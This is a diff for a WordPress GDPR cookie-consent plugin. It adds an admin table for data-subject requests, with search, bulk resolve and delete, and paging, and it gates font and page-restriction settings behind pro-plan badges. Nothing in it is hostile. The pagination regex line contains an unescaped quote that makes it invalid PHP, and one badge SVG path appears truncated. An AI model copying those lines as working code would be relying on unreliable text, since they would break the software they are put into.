+				<input placeholder="Search Requests" type="search" id="<?php echo esc_attr( $input_id ); ?>" name="wpl_dr_s" value="<?php echo esc_attr( $search ); ?>"/>
+				<img id="search-logo-data-request" v-on:click="submitDataRequestSearch" src="<?php echo esc_url( GDPR_COOKIE_CONSENT_PLUGIN_URL ) . 'admin/images/vector.png'; ?>" alt="Search Logo">
+			</div>
+			<?php
+				submit_button(
+					$text,
+					'button',
+					false,
+					false,
+					array( 'ID' => 'search-submit-data-request' )
+				);
+			?>
+		</div>
+					<?php
+
+			$this->resolved_select();
+
+			?>
+		<?php
+	}
+
+	/**
+	 * Gets the name of the primary column.
+	 *
+	 * @return string Name of the primary column.
+	 * @since   3.0.0
+	 * @access protected
+	 */
+	protected function get_primary_column_name() {
+		return 'name';
+	}
+
+	/**
+	 * This function renders most of the columns in the list table.
+	 *
+	 * @param array  $item        Contains all the data of the customers
+	 * @param string $column_name The name of the column
+	 *
+	 * @return string Column Name
+	 * @since  3.0.0
+	 */
+	public function column_default( $item, $column_name ) {
+		switch ( $column_name ) {
+			case 'resolved':
+				$value = $item['resolved'] ? __( 'Resolved', 'gdpr-cookie-consent' ) : __( 'Open', 'gdpr-cookie-consent' );
+				break;
+			case 'datarequest':
+				// Built from the fixed request-type list, contains a link.
+				$value = isset( $item[ $column_name ] ) ? $item[ $column_name ] : null;
+				break;
+			default:
+				$value = isset( $item[ $column_name ] ) ? gdpr_cookie_consent_esc_vue( $item[ $column_name ] ) : null;
+				break;
+		}
+		return apply_filters( 'wpl_dnsmpd_column_' . $column_name, $value, $item['ID'] );
+	}
+
+	/**
+	 * Column name
+	 *
+	 * @param array $item
+	 *
+	 * @return string
+	 */
+	public function column_name( $item ) {
+		$name  = '#' . esc_html( $item['ID'] ) . ' ';
+		$name .= ! empty( $item['name'] ) ? gdpr_cookie_consent_esc_vue( $item['name'] ) : '<em>' . esc_html__( 'Unnamed user', 'gdpr-cookie-consent' ) . '</em>';
+		return $name;
+	}
+
+	/**
+	 * Column name actions
+	 *
+	 * @param array $item
+	 *
+	 * @return string
+	 */
+	public function column_actions_resolve_delete( $item ) {
+		$actions = array();
+
+		// Show Resolve action if not resolved
+		if ( empty( $item['resolved'] ) || intval( $item['resolved'] ) === 0 ) {
+			$resolve_url = wp_nonce_url(
+				admin_url( 'admin-post.php?action=gdpr_resolve&id=' . $item['ID'] ),
+				'wpl_resolve_request'
+			);
+			$actions['resolve'] = '<a href="' . esc_url( $resolve_url ) . '">' .
+				__( 'Resolve', 'gdpr-cookie-consent' ) .
+			'</a>';
+		}
+		$delete_url = wp_nonce_url(
+			admin_url( 'admin-post.php?action=gdpr_delete&id=' . $item['ID'] ),
+			'wpl_delete_request'
+		);
+		$actions['delete'] = '<a href="' . esc_url( $delete_url ) . '">' . __( 'Delete', 'gdpr-cookie-consent' ) . '</a>';
+		return $this->row_actions( $actions );
+	}
+	/**
+	 * Retrieve the table columns
+	 *
+	 * @return array $columns Array of all the list table columns
+	 * @since  3.0.0
+	 */
+	public function get_columns() {
+		$columns = array(
+			'cb'                     => '<label class="screen-reader-text" for="data-req-checkbox">Data Request report Log</label><input id="data-req-checkbox" type="checkbox"/>',
+			'name'                   => __( 'Name', 'gdpr-cookie-consent' ),
+			'email'                  => __( 'Email', 'gdpr-cookie-consent' ),
+			'resolved'               => __( 'Status', 'gdpr-cookie-consent' ),
+			'datarequest'            => __( 'Data request', 'gdpr-cookie-consent' ),
+			'date'                   => __( 'Date', 'gdpr-cookie-consent' ),
+			'actions_resolve_delete' => __( 'Actions', 'gdpr-cookie-consent' ),
+		);
+
+		return apply_filters( 'wpl_report_customer_columns', $columns );
+	}
+
+	public function column_cb( $item ) {
+		return sprintf(
+			'<input type="checkbox" name="%1$s_id[]" value="%2$s" />',
+			esc_attr( $this->_args['singular'] ),
+			esc_attr( $item['ID'] )
+		);
+	}
+
+	/**
+	 * Get the sortable columns
+	 *
+	 * @return array Array of all the sortable columns
+	 * @since  3.0.0
+	 */
+	public function get_sortable_columns() {
+		return array(
+			'request_date'           => array( 'request_date', true ),
+			'name'                   => array( 'name', true ),
+			'region'                 => array( 'region', true ),
+			'email'                  => array( 'email', true ),
+			'resolved'               => array( 'resolved', true ),
+			'date'                   => array( 'date', true ),
+			'datarequest'            => array( 'datarequest', true ),
+			'actions_resolve_delete' => array( 'actions_resolve_delete', true ),
+		);
+	}
+
+	/**
+	 * Outputs the reporting views
+	 *
+	 * @return void
+	 * @since  3.0.0
+	 */
+	public function get_bulk_actions( $which = '' ) {
+
+		$actions      = array(
+			'delete'  => __( 'Delete', 'gdpr-cookie-consent' ),
+			'reslove' => __( 'Resolve', 'gdpr-cookie-consent' ),
+		);
+		// echo $this->resolved_select();
+		return $actions;
+	}
+
+	/**
+	 * Process bulk actions
+	 *
+	 * @access      private
+	 * @since        3.0.0
+	 * @return      void
+	 */
+	public function process_bulk_action() {
+
+		if ( ! $this->is_current_list() ) {
+			return;
+		}
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+		    wp_die( 'Unauthorized request.' );
+		}
+
+		$ids = isset( $_GET['user_id'] ) ? array_filter( array_map( 'absint', (array) wp_unslash( $_GET['user_id'] ) ) ) : array();
+		$action = $this->current_action();
+		if ( ! $action ) {
+			// If no action was found, check for action2 (bottom dropdown)
+			$action2 = isset( $_GET['action2'] ) ? sanitize_text_field( wp_unslash( $_GET['action2'] ) ) : '';
+			$action  = ( '' !== $action2 && '-1' !== $action2 ) ? $action2 : false;
+		}
+		if ( !$action || ! $ids ) {
+			return;
+		}
+		check_admin_referer( 'bulk-' . $this->_args['plural'] );
+
+		if ( ! is_array( $ids ) ) {
+			$ids = array( $ids );
+		}
+
+		global $wpdb;
+		foreach ( $ids as $id ) {
+			if ( 'delete' === $action ) {
+				$wpdb->delete( $wpdb->prefix . 'wpl_data_req', array( 'ID' => intval( $id ) ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Plugin's own table; admin action, nothing to cache.
+			} elseif ( 'reslove' === $action ) {
+				$wpdb->update( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Plugin's own table; admin action, nothing to cache.
+					$wpdb->prefix . 'wpl_data_req',
+					array(
+						'resolved' => 1,
+					),
+					array( 'ID' => intval( $id ) )
+				);
+			}
+		}
+		$paged = isset( $_GET[ self::PAGED_ARG ] ) ? self::PAGED_ARG . '=' . absint( $_GET[ self::PAGED_ARG ] ) : '';
+		$redirect_url = admin_url( 'admin.php?page=gdpr-cookie-consent&wpl_list=' . self::LIST_ID . ( $paged ? '&' . $paged : '' ) . '#compliance_records#data_request' );
+		if ( ! headers_sent() ) {
+			wp_safe_redirect( $redirect_url );
+			exit;
+		}
+		echo '<script>window.location.replace(' . wp_json_encode( esc_url_raw( $redirect_url ) ) . ');</script>';
+		exit;
+	}
+
+	/**
+	 * Retrieve the current page number
+	 *
+	 * @return int Current page number
+	 * @since  3.0.0
+	 */
+	public function get_paged() {
+		if ( null !== $this->clamped_paged ) {
+			return $this->clamped_paged;
+		}
+		return isset( $_GET[ self::PAGED_ARG ] ) ? max( 1, absint( $_GET[ self::PAGED_ARG ] ) ) : 1; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only pagination arg, cast with absint().
+	}
+
+	/**
+	 * Current page number for WP_List_Table, read from this table's own query arg.
+	 *
+	 * The Data Requests table shares an admin page with other list tables, so it
+	 * cannot use the core 'paged' arg without changing their page too.
+	 *
+	 * @return int
+	 */
+	public function get_pagenum() {
+		$pagenum = $this->get_paged();
+		if ( isset( $this->_pagination_args['total_pages'] ) && $pagenum > $this->_pagination_args['total_pages'] ) {
+			$pagenum = $this->_pagination_args['total_pages'];
+		}
+		return max( 1, (int) $pagenum );
+	}
+
+	/**
+	 * Store the pagination args before core validates them, so get_pagenum() can clamp an
+	 * out-of-range page itself. Core would otherwise redirect using the 'paged' arg,
+	 * which this table ignores, and loop.
+	 *
+	 * @param array $args Pagination args.
+	 */
+	protected function set_pagination_args( $args ) {
+		$this->_pagination_args = $args;
+		parent::set_pagination_args( $args );
+	}
+
+	/**
+	 * Render core pagination, rewritten to use this table's own page query arg.
+	 *
+	 * @param string $which 'top' or 'bottom'.
+	 */
+	protected function pagination( $which ) {
+		// Core builds the links from REQUEST_URI; drop our arg so the first-page link really goes to page 1.
+		$request_uri = isset( $_SERVER['REQUEST_URI'] ) ? $_SERVER['REQUEST_URI'] : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput
+		$_SERVER['REQUEST_URI'] = remove_query_arg( self::PAGED_ARG, $request_uri );
+		ob_start();
+		parent::pagination( $which );
+		$html                   = ob_get_clean();
+		$_SERVER['REQUEST_URI'] = $request_uri;
+
+		$html = preg_replace( '/([?&;])paged=/', '$1' . self::PAGED_ARG . '=', $html );
+		echo preg_replace( '/name=(['"])paged\1/', 'name="' . self::PAGED_ARG . '"', $html ); // phpcs:ignore WordPress.Security.EscapeOutput -- markup escaped by core.
+	}
+
+	/**
+	 * Retrieves the search query string
+	 *
+	 * @return mixed string If search is present, false otherwise
+	 * @since  3.0.0
+	 */
+	public function get_search() {
+		return $this->is_current_list() && ! empty( $_GET['wpl_dr_s'] ) ? sanitize_text_field( wp_unslash( $_GET['wpl_dr_s'] ) ) : false; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only search filter, sanitized; output escaped and queries prepared.
+	}
+
+
+	public function resolved_select() {
+		// Option Select
+		$options  = array(
+			0 => __( 'ALL', 'gdpr-cookie-consent' ),
+			1 => __( 'Resolved', 'gdpr-cookie-consent' ),
+			2 => __( 'Unresolved', 'gdpr-cookie-consent' ),
+		);
+		$selected = 0;
+
+		if ( isset( $_GET['wpl_resolved_select2'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only list view arg, sanitized.
+			$selected = intval( $_GET['wpl_resolved_select2'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only list view arg, sanitized.
+		}
+		// Generate a unique identifier for the select element
+		$unique_id = uniqid( 'wpl_resolved_select_' );
+
+		?>
+		<!-- submit the form on change  -->
+		<script>
+
+			document.addEventListener('DOMContentLoaded', function () {
+				var resolvedSelect = document.getElementById('<?php echo esc_js( $unique_id ); ?>');
+				if (resolvedSelect) {
+					resolvedSelect.addEventListener('change', function () {
+						document.getElementById('wpl-dnsmpd-filter-datarequest').submit();
+					});
+				}
+			});
+		</script>
+
+		<?php
+		// Use the unique identifier in the select element's id attribute
+		echo '<select name="wpl_resolved_select2" id="' . esc_js( $unique_id ) . '" class="wpl_resolved_select_filter">';
+		foreach ( $options as $value => $label ) {
+			echo '<option value="' . esc_attr( $value ) . '" ' . ( $selected == $value ? 'selected' : '' ) . '>' . esc_html( $label ) . '</option>';
+		}
+		echo '</select>';
+	}
+
+	/**
+	 * Build all the reports data
+	 *
+	 * @return array $reports_data All the data for customer reports
+	 * @global object $wpdb Used to query the database using the WordPress
+	 *                      Database API
+	 * @since  3.0.0
+	 */
+	public function reports_data() {
+
+		$data    = array();
+		$paged   = $this->get_paged();
+		$offset  = $this->per_page * ( $paged - 1 );
+		$search  = $this->get_search();
+		$order   = $this->is_current_list() && isset( $_GET['order'] ) ? sanitize_key( wp_unslash( $_GET['order'] ) ) : 'desc'; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only list view arg, sanitized.
+		$orderby = $this->is_current_list() && isset( $_GET['orderby'] ) ? sanitize_key( wp_unslash( $_GET['orderby'] ) ) : 'id'; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only list view arg, sanitized.
+
+		$args = array(
+			'number'  => $this->per_page,
+			'offset'  => $offset,
+			'order'   => $order,
+			'orderby' => $orderby,
+			'search'  => $search,
+		);
+
+		if ( is_email( $search ) ) {
+			$args['email'] = $search;
+		} else {
+			$args['name'] = $search;
+		}
+
+		if ( isset( $_GET['wpl_resolved_select2'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only list view arg, sanitized.
+			$args['resolved'] = intval( $_GET['wpl_resolved_select2'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only list view arg, sanitized.
+		}
+
+		$this->args = $args;
+		$requests   = $this->get_requests( $args );
+		if ( $requests ) {
+			foreach ( $requests as $request ) {
+				$datarequest = '';
+
+				$options = Gdpr_Cookie_Consent_Admin::wpl_data_reqs_options();
+				foreach ( $options as $fieldname => $label ) {
+					if ( $request->{$fieldname} == 1 ) {
+						$datarequest = '<a href="https://wplegalpages.com/' . $label['slug'] . '" target="_blank">' . $label['short'] . '</a>';
+					}
+				}
+				$time = gmdate( get_option( 'time_format' ), $request->request_date );
+				$date = $this->wpl_localize_date( $request->request_date );
+
+				// Translators: Placeholder %1$s represents the date, %2$s represents the time.
+				$date_time_format = __( '%1$s at %2$s', 'gdpr-cookie-consent' );
+
+				$date = sprintf( $date_time_format, $date, $time );
+
+				$data[] = array(
+					'ID'          => $request->ID,
+					'name'        => $request->name,
+					'email'       => $request->email,
+					'resolved'    => $request->resolved,
+					'datarequest' => $datarequest,
+					'date'        => $date,
+				);
+			}
+		}
+
+		return apply_filters( 'wpl_datarequest_data', $data );
+	}
+
+	/**
+	 * Prepare items for the table
+	 *
+	 * @return void
+	 */
+	public function prepare_items() {
+		$columns  = $this->get_columns();
+		$hidden   = array(); // No hidden columns
+		$sortable = $this->get_sortable_columns();
+		$this->process_bulk_action();
+		$this->_column_headers = array( $columns, $hidden, $sortable );
+		$this->items           = $this->reports_data();
+		$this->total           = $this->count_requests( $this->args );
+		$total_pages           = $this->per_page ? ceil( (int) $this->total / (int) $this->per_page ) : 1;
+		// An out-of-range page (e.g. a stale link after deletions) shows the last page, not an empty one.
+		if ( $total_pages > 0 && $this->get_paged() > $total_pages ) {
+			$this->clamped_paged = (int) $total_pages;
+			$this->items         = $this->reports_data();
+		}
+		$this->set_pagination_args(
+			array(
+				'total_items' => $this->total,
+				'per_page'    => $this->per_page,
+				'total_pages' => $total_pages,
+			)
+		);
+	}
+
+	/**
+	 * Count number of users
+	 *
+	 * @param $args
+	 *
+	 * @return int
+	 */
+	public function count_requests( $args ) {
+		unset( $args['number'] );
+		$users = $this->get_requests( $args );
+		return count( $users );
+	}
+
+	/**
+	 * Get users
+	 *
+	 * @param array $args
+	 *
+	 * @return array
+	 */
+	public function get_requests( $args ) {
+
+		global $wpdb;
+		$table_name = $wpdb->prefix . 'wpl_data_req';
+
+		if ( $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $table_name ) ) ) !== $table_name ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Plugin's own table; schema check.
+			// Table doesn't exist yet, return empty result set or handle as needed
+			return array();
+		}
+		$sql = "SELECT * from {$wpdb->prefix}wpl_data_req WHERE 1=1 ";
+		if ( isset( $args['email'] ) && ! empty( $args['email'] ) && is_email( $args['email'] ) ) {
+			$sql .= $wpdb->prepare( " AND email LIKE %s", '%' . $wpdb->esc_like( sanitize_email( $args['email'] ) ) . '%' );
+		}
+
+		if ( isset( $args['name'] ) && ! empty( $args['name'] ) ) {
+			$sql .= $wpdb->prepare(" AND name LIKE %s", '%' . $wpdb->esc_like( $args['name'] ) . '%');
+		}
+
+		if ( isset( $args['resolved'] ) ) {
+
+			if ( intval( $args['resolved'] ) == 1 ) {
+
+				$sql .= ' AND resolved = ' . intval( $args['resolved'] );
+
+			} elseif ( intval( $args['resolved'] ) == 2 ) {
+
+				$args['resolved'] = 0;
+				$sql             .= ' AND resolved = ' . intval( $args['resolved'] );
+			}
+		}
+
+		// ORDER BY cannot be a placeholder, so only known columns and directions get in.
+		// Sortable columns without a database column of their own sort by date or ID.
+		$columns = array(
+			'id'           => 'ID',
+			'name'         => 'name',
+			'email'        => 'email',
+			'resolved'     => 'resolved',
+			'request_date' => 'request_date',
+			'date'         => 'request_date',
+		);
+		$orderby = isset( $args['orderby'] ) ? strtolower( (string) $args['orderby'] ) : 'id';
+		$orderby = isset( $columns[ $orderby ] ) ? $columns[ $orderby ] : 'ID';
+		$order   = ( isset( $args['order'] ) && 'asc' === strtolower( (string) $args['order'] ) ) ? 'ASC' : 'DESC';
+		$sql    .= ' ORDER BY ' . $orderby . ' ' . $order;
+		if ( isset( $args['number'] ) ) {
+			$sql .= ' LIMIT ' . intval( $args['number'] ) . ' OFFSET ' . intval( $args['offset'] );
+		}
+		// as no data is inserting into the table so no $wpdb->prepare() is needed;
+		return $wpdb->get_results( $sql ); // phpcs:ignore
+	}
+
+	public function wpl_localize_date( $unix_time ) {
+
+		$formatted_date    = gmdate( get_option( 'date_format' ), $unix_time );
+		$month             = gmdate( 'F', $unix_time );
+		$month_localized   = date_i18n( 'F', $unix_time );
+		$date              = str_replace( $month, $month_localized, $formatted_date );
+		$weekday           = gmdate( 'l', $unix_time );
+		$weekday_localized = date_i18n( 'l', $unix_time );
+		$date              = str_replace( $weekday, $weekday_localized, $date );
+		return $date;
+	}
+
+	public function wpl_sprintf() {
+
+		$args       = func_get_args();
+		$count      = substr_count( $args[0], '%s' );
+		$args_count = count( $args ) - 1;
+		if ( $args_count === $count ) {
+			return call_user_func_array( 'sprintf', $args );
+		} else {
+			$output = $args[0];
+			if ( is_admin() ) {
+				$output .= 'Translation error';
+			}
+			return $output;
+		}
+	}
+}
--- a/gdpr-cookie-consent/admin/gdpr-cookie-consent-admin-settings.php
+++ b/gdpr-cookie-consent/admin/gdpr-cookie-consent-admin-settings.php
@@ -511,7 +511,7 @@



-			<div class="notice-content-body" :style="{'gap': cookie_bar_spacing + 'px'}" style="width: 100%; flex-direction: <?php echo esc_attr($banner_layouts['c2']['direction'] == 'col' ? ($banner_structure['c2'][0] === 'bannerText' ? 'column' : 'column-reverse') : ($banner_structure['c2'][0] === 'bannerText' ? 'row' : 'row-reverse')); ?>;" :class="'notice-template-name-' + (template == 'default' || template == 'new_default' ? default_template_json : json_templates[template])?.name + ' template-' + (template == 'default' || template == 'new_default' ? default_template_json : json_templates[template])?.['static-settings']?.['layout']">
+			<div class="notice-content-body" :style="{'gap': cookie_bar_spacing + 'px'}" style="width: 100%; flex-direction: <?php echo esc_attr($banner_layouts['c2']['direction'] == 'col' ? ($banner_structure['c2'][0] === 'bannerText' ? 'column' : 'column-reverse') : ($banner_structure['c2'][0] === 'bannerText' ? 'row' : 'row-reverse')); ?>;<?php echo $banner_layouts['c2']['direction'] == 'row' ? ' align-items: center;' : ''; ?>" :class="'notice-template-name-' + (template == 'default' || template == 'new_default' ? default_template_json : json_templates[template])?.name + ' template-' + (template == 'default' || template == 'new_default' ? default_template_json : json_templates[template])?.['static-settings']?.['layout']">
 				<div style="display: flex; flex-direction: column; gap:10px;">
 					<p :style="{
 						'color': cookie_text_color,
@@ -915,14 +915,30 @@
 								<?php } ?>

 								<c-row>
-									<c-col class="col-sm-4"><label><?php esc_html_e( 'Restrict Pages and/or Posts', 'gdpr-cookie-consent' ); ?> <tooltip text="<?php esc_attr_e( 'Restrict Pages and/or Posts during scanning of your website for cookies.', 'gdpr-cookie-consent' ); ?>"></tooltip></label></c-col>
+								<c-col class="col-sm-4"><label><?php esc_html_e( 'Restrict Pages and/or Posts', 'gdpr-cookie-consent' ); ?> <tooltip text="<?php esc_attr_e( 'Restrict Pages and/or Posts during scanning of your website for cookies.', 'gdpr-cookie-consent' ); ?>"></tooltip>
+									<a href="https://wplegalpages.com/pricing?utm_source=wp_cookie_consent&utm_medium=font&utm_campaign=plugin_upgrade" style="margin-left:5px;vertical-align:middle" class="probadge bg-badge">
+										<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 640 640" fill="#f5af2f">
+											<path d="M345 151.2C354.2 143.9 360 132.6 360 120C360 97.9 342.1 80 320 80C297.9 80 280 97.9 280 120C280 132.6 285.9 143.9 295 151.2L226.6 258.8C216.6 274.5 195.3 278.4 180.4 267.2L120.9 222.7C125.4 216.3 128 208.4 128 200C128 177.9 110.1 160 88 160C65.9 160 48 177.9 87.2 240L119.8 457.5C124.5 488.8 151.4 512 183.1 512L456.9 512C488.6 512 515.5 488.8 520.2 457.5L552.8 240C574.5 239.6 592 221.8 592 200C592 177.9 574.1 160 552 160C529.9 160 512 177.9 512 200C512 208.4 514.6 216.3 519.1 222.7L459.7 267.3C444.8 278.5 423.5 274.6 413.5 258.9L345 151.2z"/>
+											<path d="M180 550H460" fill="none" stroke="#f5af2f" stroke-width="28" stroke-linecap="round"/>
+										</svg>
+									</a>
+								</label></c-col>
 									<c-col class="col-sm-8">
-										<v-select  placeholder="Select Pages and Posts" id="gdpr-cookie-consent-restrict-posts" :reduce="label => label.code" class="form-group" :options="list_of_contents" multiple v-model="restrict_array" @input="onPostsSelect"></v-select>
-										<input type="hidden" name="gcc-restrict-posts" v-model="restrict_posts">
+										<?php if ( !$is_user_connected || empty($is_user_connected) || $api_user_plan === 'free' ) : ?>
+											<div class="gdpr-disabled-restrict-posts-integration">
+												<v-select placeholder="Select Pages and Posts" id="gdpr-cookie-consent-restrict-posts" :reduce="label => label.code" class="form-group" :options="list_of_contents" multiple v-model="restrict_array" disabled></v-select>
+												<input type="hidden" name="gcc-restrict-posts" v-model="restrict_posts">
+												<p class="gdpr-restrict_page-gdpr">
+													<?php esc_html_e( 'To enable this feature, connect to your pro account', 'gdpr-cookie-consent' ); ?>
+												</p>
+											</div>
+										<?php else : ?>
+											<v-select placeholder="Select Pages and Posts" id="gdpr-cookie-consent-restrict-posts" :reduce="label => label.code" class="form-group" :options="list_of_contents" multiple v-model="restrict_array" @input="onPostsSelect"></v-select>
+											<input type="hidden" name="gcc-restrict-posts" v-model="restrict_posts">
+										<?php endif; ?>
 									</c-col>
 								</c-row>

-
 								<c-row>
 									<c-col class="col-sm-4"><label><?php esc_html_e( 'Banner Initialization', 'gdpr-cookie-consent' ); ?> <tooltip text="<?php esc_attr_e( 'Control when the cookie banner should appear, immediately on page load or after user interaction.', 'gdpr-cookie-consent'); ?>"></tooltip></label></c-col>
 									<c-col class="col-sm-8">
@@ -1950,9 +1966,14 @@
 											<div class="gdpr-pro-label"><div class="gdpr-pro-label-text">Pro</div></div>
 										</c-col>
 										<c-col class="col-sm-8">
+											<div class="gdpr-disabled-font-integration">
 											<v-select disabled class="form-group" id="gdpr-cookie-font" :reduce="label => label.code" :options="font_options" v-model="cookie_font">
 											</v-select>
 											<input type="hidden" name="gdpr-cookie-font" v-model="cookie_font">
+											<p class="gdpr-font-message">
+												<?php esc_html_e( 'To enable this feature, upgrade to a pro plan', 'gdpr-cookie-consent' ); ?>
+											</p>
+										</div>
 										</c-col>
 									</c-row>
 								<?php endif ?>
@@ -1961,11 +1982,31 @@
 							} else {
 								?>
 									<c-row>
-										<c-col class="col-sm-4"><label><?php esc_html_e( 'Font', 'gdpr-cookie-consent' ); ?></label></c-col>
+										<c-col class="col-sm-4">
+											<label>
+												<?php esc_html_e( 'Font', 'gdpr-cookie-consent' ); ?>
+												<a style="margin-left:5px;vertical-align:bottom" class="probadge bg-badge">
+													<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 640 640" fill="#f5af2f">
+														<path d="M345 151.2C354.2 143.9 360 132.6 360 120C360 97.9 342.1 80 320 80C297.9 80 280 97.9 280 120C280 132.6 285.9 143.9 295 151.2L226.6 258.8C216.6 274.5 195.3 278.4 180.4 267.2L120.9 222.7C125.4 216.3 128 208.4 128 200C128 177.9 110.1 160 88 160C65.9 160 48 177.9 87.2 240L119.8 457.5C124.5 488.8 151.4 512 183.1 512L456.9 512C488.6 512 515.5 488.8 520.2 457.5L552.8 240C574.5 239.6 592 221.8 592 200C592 177.9 574.1 160 552 160C529.9 160 512 177.9 512 200C512 208.4 514.6 216.3 519.1 222.7L459.7 267.3C444.8 278.5 423.5 274.6 413.5 258.9L345 151.2z"/>
+														<path d="M180 550H460" fill="none" stroke="#f5af2f" stroke-width="28" stroke-linecap="round"/>
+													</svg>
+												</a>
+											</label>
+										</c-col>
 										<c-col class="col-sm-8">
-											<v-select class="form-group" id="gdpr-cookie-font" :reduce="label => label.code" :options="font_options" v-model="cookie_font">
+											<?php if ( !$is_user_connected || empty($is_user_connected) || $api_user_plan === 'free' ) : ?>
+											<div class="gdpr-disabled-font-integration">
+											<v-select disabled class="form-group" id="gdpr-cookie-font" :reduce="label => label.code" :options="font_options" v-model="cookie_font">
 											</v-select>
 											<input type="hidden" name="gdpr-cookie-font" v-model="cookie_font">
+											<p class="gdpr-font-message">
+												<?php esc_html_e( 'To enable this feature, upgrade to a pro plan', 'gdpr-cookie-consent' ); ?>
+											</p>
+										</div>
+										<?php else : ?>
+												<v-select class="form-group" id="gdpr-cookie-font" :reduce="label => label.code" :options="font_options" v-model="cookie_font"></v-select>
+												<input type="hidden" name="gdpr-cookie-font" v-model="cookie_font">
+											<?php endif; ?>
 										</c-col>
 									</c-row>
 								<?php } ?>
@@ -5834,7 +5875,7 @@
 										></c-input>
 									</c-col>
 									<c-col class="col-sm-1">
-											<c-button :disabled="!button_readmore_is_on1" class="gdpr-configure-button" :style="(button_readmore_popup2 || button_readmore_popup1) ? { backgroundColor: '#EAF4FF !important', color: '#2F80ED !important' } : {}" @click="openConfigurationPanel('button_readmore_popup1')">
+											<c-button :disabled="!button_readmore_is_on1" class="gdpr-configure-button" :style="(button_readmore_popup1) ? { backgroundColor: '#EAF4FF !important', color: '#2F80ED !important' } : {}" @click="openConfigurationPanel('button_readmore_popup1')">
 										<svg width="40" height="40" viewBox="0 0 50 50" fill="none" xmlns="http://www.w3.org/2000/svg"><g clip-path="url(#clip0_4634_793)"><path d="M14.1462 30.3445C11.8737 32.5765 13.7937 34.8685 10.7757 38.263C9.41368 39.7975 16.3827 39.3295 19.8342 35.9365C21.2997 34.495 20.8857 32.398 19.3152 30.853C17.7447 29.311 15.6102 28.903 14.1462 30.3445ZM39.3102 10.9885C38.1462 9.84253 25.2417 20.182 21.4017 23.9575C19.4952 25.8325 18.8592 26.8375 18.2757 27.5875C18.0207 27.916 18.3582 28.015 18.5067 28.0915C19.2627 28.4785 19.7907 28.8355 20.4732 29.506C21.1572 30.1765 21.5217 30.6955 21.9117 31.4395C21.9912 31.5865 22.0932 31.9165 22.4247 31.6675C23.1897 31.093 24.2112 30.466 26.1177 28.594C29.9592 24.82 40.4772 12.133 39.3102 10.9885Z" fill="currentColor"/></g><defs><clipPath id="clip0_4634_793"><rect width="30" height="30" fill="white" transform="translate(10 10)"/></clipPath></defs></svg>

 											</c-button>
@@ -5862,7 +5903,7 @@
 										></c-input>
 									</c-col>
 									<c-col class="col-sm-1">
-										<c-button :disabled="!is_revoke_consent_on1" class="gdpr-configure-button" :style="(revoke_consent_popup2 || revoke_consent_popup1) ? { backgroundColor: '#EAF4FF !important', color: '#2F80ED !important' } : {}" @click="openConfigurationPanel('revoke_consent_popup1')">
+										<c-button :disabled="!is_revoke_consent_on1" class="gdpr-configure-button" :style="(revoke_consent_popup1) ? { backgroundColor: '#EAF4FF !important', color: '#2F80ED !important' } : {}" @click="openConfigurationPanel('revoke_consent_popup1')">
 										<svg width="40" height="40" viewBox="0 0 50 50" fill="none" xmlns="http://www.w3.org/2000/svg"><g clip-path="url(#clip0_4634_793)"><path d="M14.1462 30.3445C11.8737 32.5765 13.7937 34.8685 10.7757 38.263C9.41368 39.7975 16.3827 39.3295 19.8342 35.9365C21.2997 34.495 20.8857 32.398 19.3152 30.853C17.7447 29.311 15.6102 28.903 14.1462 30.3445ZM39.3102 10.9885C38.1462 9.84253 25.2417 20.182 21.4017 23.9575C19.4952 25.8325 18.8592 26.8375 18.2757 27.5875C18.0207 27.916 18.3582 28.015 18.5067 28.0915C19.2627 28.4785 19.7907 28.8355 20.4732 29.506C21.1572 30.1765 21.5217 30.6955 21.9117 31.4395C21.9912 31.5865 22.0932 31.9165 22.4247 31.6675C23.1897 31.093 24.2112 30.466 26.1177 28.594C29.9592 24.82 40.4772 12.133 39.3102 10.9885Z" fill="currentColor"/></g><defs><clipPath id="clip0_4634_793"><rect width="30" height="30" fill="white" transform="translate(10 10)"/></clipPath></defs></svg>

 										</c-button>
@@ -5896,7 +5937,7 @@
 									></c-input>
 								</c-col>
 								<c-col class="col-sm-1">
-									<c-button :disabled="!cookie_accept_on1" class="gdpr-configure-button" :style="(accept_button_popup2 || accept_button_popup1) ? { backgroundColor: '#EAF4FF !important', color: '#2F80ED !important' } : {}" @click="openConfigurationPanel('accept_button_popup1')">
+									<c-button :disabled="!cookie_accept_on1" class="gdpr-configure-button" :style="(accept_button_popup1) ? { backgroundColor: '#EAF4FF !important', color: '#2F80ED !important' } : {}" @click="openConfigurationPanel('accept_button_popup1')">
